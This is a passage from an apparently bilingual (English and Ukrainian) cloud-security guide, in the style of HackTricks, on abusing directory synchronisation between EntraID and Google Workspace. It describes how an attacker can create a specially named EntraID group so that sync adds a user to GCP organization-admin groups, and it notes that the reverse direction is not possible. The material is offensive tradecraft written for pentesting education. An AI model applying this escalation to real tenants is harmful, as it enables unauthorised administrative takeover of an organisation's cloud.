**The user will be added in the group `gcp-organization-admins@<workspace.email>` escalating privileges in GCP.**
|
||||
Якщо синхронізація, наприклад, з EntraID до Workspace **налаштована на заміну домену** імпортованого об'єкта **електронною адресою Workspace**, зловмисник зможе створити групу `gcp-organization-admins@<entraid.email>` в EntraID, додати користувача до цієї групи та почекати, поки відбудеться синхронізація всіх груп.\
|
||||
**Користувач буде доданий до групи `gcp-organization-admins@<workspace.email>`, підвищуючи привілеї в GCP.**
|
||||
|
||||
### From Google Workspace -> AD/EntraID
|
||||
|
||||
Note that Workspace require credentials with read only access over AD or EntraID to synchronize users and groups. Therefore, it's not possible to abuse Google Workspace to perform any change in AD or EntraID. So **this isn't possible** at this moment.
|
||||
Зверніть увагу, що Workspace вимагає облікові дані з правами лише на читання для синхронізації користувачів та груп з AD або EntraID. Тому неможливо зловживати Google Workspace для внесення будь-яких змін в AD або EntraID. Отже, **це неможливо** на даний момент.
|
||||
|
||||
I also don't know where does Google store the AD credentials or EntraID token and you **can't recover them re-configuring the synchronizarion** (they don't appear in the web form, you need to give them again). However, from the web it might be possible to abuse the current functionality to **list users and groups**.
|
||||
Я також не знаю, де Google зберігає облікові дані AD або токен EntraID, і ви **не можете відновити їх, переналаштувавши синхронізацію** (вони не з'являються у веб-формі, вам потрібно ввести їх знову). Однак з вебу може бути можливим зловживання поточною функціональністю для **переліку користувачів та груп**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user